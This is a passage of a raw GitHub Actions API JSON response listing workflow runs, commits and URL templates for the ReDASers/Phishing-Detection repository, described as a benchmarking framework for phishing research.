","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":73808580,"node_id":"MDExOldvcmtmbG93UnVuNzM4MDg1ODA=","head_branch":"bug_fix","head_sha":"006d4a4fecbd6c73409aa49185e2a7a10e07ae75","run_number":104,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":583550455,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGU1ODM1NTA0NTU=","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/73808580","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/73808580","pull_requests":[],"created_at":"2020-04-08T18:54:25Z","updated_at":"2020-04-08T18:58:54Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/73808580/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/73808580/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/583550455","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/73808580/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/73808580/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/73808580/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"006d4a4fecbd6c73409aa49185e2a7a10e07ae75","tree_id":"db548767f1146504f956421a62afc639de593d47","message":"removed print","timestamp":"2020-04-08T18:54:06Z","author":{"name":"xzhou29","email":"xin9186@gmail.com"},"committer":{"name":"xzhou29","email":"xin9186@gmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":73790390,"node_id":"MDExOldvcmtmbG93UnVuNzM3OTAzOTA=","head_branch":"bug_fix","head_sha":"a7b2cfc9711f35772f538a4e35ad88fe52c96a16","run_number":103,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":583467575,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGU1ODM0Njc1NzU=","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/73790390","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/73790390","pull_requests":[],"created_at":"2020-04-08T18:19:24Z","updated_at":"2020-04-08T18:23:35Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/73790390/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/73790390/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/583467575","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/73790390/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/73790390/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/73790390/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"a7b2cfc9711f35772f538a4e35ad88fe52c96a16","tree_id":"b7e940bfd0998387ba73aa51fdd8005a495ac35f","message":"feature_list_dict_train was not defined","timestamp":"2020-04-08T18:19:01Z","author":{"name":"xzhou29","email":"xin9186@gmail.com"},"committer":{"name":"xzhou29","email":"xin9186@gmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":58497879,"node_id":"MDExOldvcmtmbG93UnVuNTg0OTc4Nzk=","head_branch":"master","head_sha":"a16b467262f950e81cb6d803f381fbfff00e21a7","run_number":90,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":531026139,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGU1MzEwMjYxMzk=","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/58497879","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/58497879","pull_requests":[],"created_at":"2020-03-18T21:35:08Z","updated_at":"2020-03-18T21:39:48Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/58497879/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/58497879/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/531026139","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/58497879/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/58497879/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/58497879/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"a16b467262f950e81cb6d803f381fbfff00e21a7","tree_id":"785da199e179cf175215ccf257ca05ddaf11c44c","message":"Merge pull request #39 from sbaki2/ranked_matrix\n\nranked_features added","timestamp":"2020-03-18T21:35:05Z","author":{"name":"Xin","email":"xin9186@gmail.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/